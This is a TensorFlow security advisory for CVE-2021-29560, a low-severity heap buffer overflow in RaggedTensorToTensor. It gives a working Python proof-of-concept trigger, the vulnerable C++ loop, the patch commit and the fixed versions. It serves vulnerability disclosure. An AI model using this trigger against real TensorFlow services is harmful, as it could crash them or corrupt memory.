Heap buffer overflow in `RaggedTensorToTensor`

Low mihaimaruseac published GHSA-8gv3-57p6-g35r on May 12, 2021

Package

tensorflow, tensorflow-cpu, tensorflow-gpu (pip)

Affected versions	Patched versions
< 2.5.0	2.1.4, 2.2.3, 2.3.3, 2.4.2

Description

Impact

An attacker can cause a heap buffer overflow in `tf.raw_ops.RaggedTensorToTensor` :

```
import tensorflow as tf

shape = tf.constant([10, 10], shape=[2], dtype=tf.int64)
values = tf.constant(0, shape=[1], dtype=tf.int64)
default_value = tf.constant(0, dtype=tf.int64)
l = [849, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
row = tf.constant(l, shape=[5, 43], dtype=tf.int64)
rows = [row]
types = ['ROW_SPLITS']

tf.raw_ops.RaggedTensorToTensor(
    shape=shape, values=values, default_value=default_value,
    row_partition_tensors=rows, row_partition_types=types)
```

This is because the implementation uses the same index to access two arrays in parallel:

```
for (INDEX_TYPE i = 0; i < row_split_size - 1; ++i) {
  INDEX_TYPE row_length = row_split(i + 1) - row_split(i);
  INDEX_TYPE real_length = std::min(output_size, row_length);
  INDEX_TYPE parent_output_index_current = parent_output_index[i];
  ...
}
```

Since the user controls the shape of the input arguments, an attacker could trigger a heap OOB access when `parent_output_index` is shorter than `row_split` .

Patches

We have patched the issue in GitHub commit a84358aa12f0b1518e606095ab9cfddbf597c121.

The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.

Severity

Low

CVE ID

CVE-2021-29560

Weaknesses

No CWEs